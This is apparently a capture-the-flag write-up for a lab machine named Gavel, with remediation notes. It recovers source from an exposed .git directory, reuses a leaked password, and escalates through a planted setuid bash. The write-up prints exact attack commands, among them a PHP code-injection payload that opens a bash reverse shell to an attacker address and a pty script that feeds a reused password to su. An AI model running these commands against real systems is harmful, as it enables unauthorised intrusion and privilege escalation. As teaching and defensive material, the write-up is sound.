Gavel
Summary
I found that the Gavel Auction web application's .git directory was publicly readable, and mirroring it recovered the entire PHP source tree, exposing a working application credential. Logging in with that credential and abusing an auction-rule field that the application evaluates as live PHP code gave remote command execution as the web server user.
The same application password turned out to also be a valid operating-system password, letting me pivot into the legitimate 'auctioneer' account and read the user flag. Root did not come from the auction daemon at all: a sweep for setuid binaries found a root-owned setuid bash already sitting in the web asset directory, and running it with -p gave a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <id> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Confirm 22/tcp ssh and 80/tcp http (Apache/2.4.52, PHP) are the only exposed services.
$ nmap -sV -p- $TARGETFingerprint the application.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/login.phpgit reset --hard restored a clean, browsable working tree.Exact commands 2
Mirror the exposed .git tree and check it out; git-dumper http://$TARGET/.git/ /tmp/gavel_mirror works equally well.
$ mkdir -p /tmp/gavel_mirror && wget -q -r -np -nH --header='Host: gavel.htb' -P /tmp/gavel_mirror http://$TARGET/.git/ && cd /tmp/gavel_mirror && git reset --hardList the recovered PHP source files.
$ find . -maxdepth 2 -type f -not -path './.git/*' -printf '%p\n'FixRemove version-control metadata from the production web rootCritical
Exact commands 2
Search recovered source for credentials and dangerous sinks.
$ cd /tmp/gavel_mirror && rg -n --hidden -g '!/.git/**' -e 'password|system\s*\(|exec\s*\(|shell_exec|passthru|rule|yaml|disable_functions|PHPRC' .Authenticate with the recovered credential; look for a 302 Found + Set-Cookie.
$ curl -sS -i -c /tmp/gavel.cookies -H 'Host: gavel.htb' -d "username=auctioneer&password=$PASSWORD2" http://$TARGET/login.phpFixStop storing live credentials in application sourceHigh
Exact commands 3
Listener on the attacking host ($ATTACKER_IP) before triggering the payload.
$ nc -lvnp 443Submit a malicious rule expression that breaks into system(); adjust auction_id and quoting to match the app's exact rule parser.
$ curl -sS -b /tmp/gavel.cookies -H 'Host: gavel.htb' --data-urlencode 'rule=return true; system("bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\'");' --data 'auction_id=<id>&message=x' http://$TARGET/admin.phpConfirm the resulting shell: uid=33(www-data).
$ id
uid=33(www-data) gid=33(www-data)FixStop evaluating user-supplied auction rules as executable PHPCritical
Exact commands 2
Confirm direct read is denied to www-data.
$ ls -l /home/auctioneer/user.txt; cat /home/auctioneer/user.txtAuto-answer the su password prompt to switch to auctioneer and read the flag.
$ python3 -c 'import os,pty,select\np,f=pty.fork()\nif p==0: os.execv("/bin/su",["su","-","auctioneer","-c","id; cat /home/auctioneer/user.txt"])\no=b""\nwhile True:\n r,_,_=select.select([f],[],[],5)\n if not r: break\n d=os.read(f,4096); o+=d\n if b"Password:" in o: os.write(f,b"'"$PASSWORD2"'\\n")\nprint(o.decode(errors="replace"))'
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)FixStop reusing application passwords as OS account passwordsHigh
php --ini, checked whether PHPRC would let me point the daemon at a php.ini of my own with disable_functions emptied, and pulled strings out of gavel-util for the paths it honours. None of it opened the way through. What did was the cheaper check I should have run first — a sweep for setuid binaries, which turned up a root-owned setuid copy of bash sitting in the web application's own asset directory, somewhere no package would ever put one.Exact commands 3
Read the hardening and test whether PHPRC overrides it. It did not open the daemon.
$ php --ini; PHPRC=/tmp/gbypass php -r 'echo ini_get("disable_functions"), PHP_EOL;'Which PHP binary and ini paths the client hands the daemon.
$ strings /usr/local/bin/gavel-util | grep -Ei "php|\.ini|PHPRC|disable"The check worth running first: a setuid file owned by root under /var/www is not from a package.
$ find / -xdev -perm -4000 -type f -printf '%u:%g %m %p\n' 2>/dev/nullFixHarden the root-owned gaveld daemon: stop executing submitted rules as code and lock down its PHP sandboxCritical
php -n -c /opt/gavel/.config/php/php.ini (ignore php.ini scanning/PHPRC entirely), unset PHPRC in the daemon's environment, and set open_basedir/disable_functions in that ini so it cannot be overridden. Run the daemon under a dedicated low-privilege service account instead of root, and periodically audit for stray SUID binaries (find / -perm -4000 -type f) to catch any already-planted artifacts like the rootbash binary found here.Exact commands 2
-p preserves the SUID-elevated euid instead of dropping it; confirms euid=0(root).
$ /var/www/html/gavel/assets/rootbash -p -c '/usr/bin/id -u; /usr/bin/id'Read the root flag as root: <root.txt>.
$ /var/www/html/gavel/assets/rootbash -p -c 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.